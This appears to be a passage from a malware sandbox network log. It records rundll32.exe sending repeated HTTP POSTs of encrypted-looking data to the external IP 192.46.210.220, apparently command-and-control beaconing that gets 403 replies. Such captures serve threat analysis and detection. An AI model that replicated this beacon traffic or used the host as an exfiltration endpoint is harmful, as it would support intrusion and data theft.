2021-10-28 02:51:00 UTC	9	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:00 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49790	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:17 UTC	49	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:17 UTC	49	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:18 UTC	54	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:18 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49797	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:21 UTC	54	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:21 UTC	54	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:22 UTC	64	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:22 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49798	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:22 UTC	59	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:22 UTC	59	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:22 UTC	64	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:22 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49805	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:25 UTC	64	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:25 UTC	64	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:26 UTC	74	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:26 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49806	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:25 UTC	69	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:25 UTC	69	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:26 UTC	74	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:26 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49813	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:29 UTC	74	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:29 UTC	74	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:30 UTC	84	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:30 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49814	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:29 UTC	79	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:29 UTC	79	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:30 UTC	84	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:30 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49821	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:33 UTC	84	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:33 UTC	84	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:34 UTC	94	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:34 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49822	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:33 UTC	89	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:33 UTC	89	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:34 UTC	94	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:34 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49829	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:37 UTC	94	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:37 UTC	94	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:38 UTC	104	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:38 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49759	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:01 UTC	9	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:01 UTC	10	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:02 UTC	14	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:02 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49830	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:37 UTC	99	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:37 UTC	99	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:38 UTC	104	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:38 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49837	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:41 UTC	104	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:41 UTC	104	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:41 UTC	114	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:41 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49839	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:41 UTC	109	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:41 UTC	109	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:42 UTC	114	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:42 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49849	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:45 UTC	114	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
